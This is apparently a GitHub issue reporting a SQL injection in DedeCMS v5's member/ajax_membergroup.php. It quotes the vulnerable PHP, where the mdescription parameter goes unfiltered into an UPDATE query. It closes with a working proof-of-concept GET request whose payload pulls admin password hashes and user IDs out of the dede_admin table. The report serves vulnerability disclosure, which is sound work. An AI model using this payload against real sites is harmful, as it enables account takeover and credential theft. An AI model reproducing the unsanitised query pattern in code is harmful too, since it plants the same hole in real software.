New issue

Jump to bottom

ajax_membergroup.php mdescription SQL inject #1

Open blindkey opened this issue on Feb 17, 2020 · 0 comments

blindkey commented on Feb 17, 2020 Owner

https://github.com/dedetech/DedeCMSv5/blob/master/src/member/ajax_membergroup.php

```
40
41  //显示描述
42  elseif($action == 'desshow')
43  {
44      $sql = "SELECT * FROM  #@__member_friends WHERE `fid`='{$mid}' AND `mid`='{$cfg_ml->M_ID}'";
45      $row = $dsql->getone($sql);
46      echo '<input id="m_'.$mid.'" name="mdescription" value="'.$row['description'].'" class="intxt" style="width:100px;"/>';
47      echo '<button onclick="postDescription(\''.$mid.'\')" class="bt3">提交</button> <button type="button" onclick="location.reload();" class
48  }
49
50  //编辑描述
51  elseif($action == 'despost')
52  {
53      $sql = "UPDATE `#@__member_friends` SET `description`='{$mdescription}' WHERE `fid`='{$mid}' AND `mid`='{$cfg_ml->M_ID}'";
54      $dsql->ExecuteNoneQuery($sql);
55      $row = $dsql->GetOne("SELECT description FROM #@__member_friends WHERE  `fid`='{$mid}' AND `mid`='{$cfg_ml->M_ID}'");
56      echo " ".$row['description']."  <a href='#' onclick='EditDescription($mid);return false;'>修改</a>";
57  }
```

line 53 indicate that we can control mdescription variables .

because there is no fillter fro var mdescription. so we can acheive a sql injection in that .

like poc:

GET /ccpAdvert/member/ajax_membergroup.php?
action=despost&mdescription=1', `description` %3D@ ' , `description` %3D(select%20concat(pwd,0x23416e6f6e796d6f757323,userid)%20from%20dede_admin)%23 HTTP/1.1%0d%0aHost: x.x.x.x%0d%0aUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; rv 11.0) like Gecko%0d%0aContent-Type: %0d%0a%0d%0a

Assignees
No one assigned

Labels
None yet

Projects
None yet

Milestone
No milestone

Development
No branches or pull requests

1 participant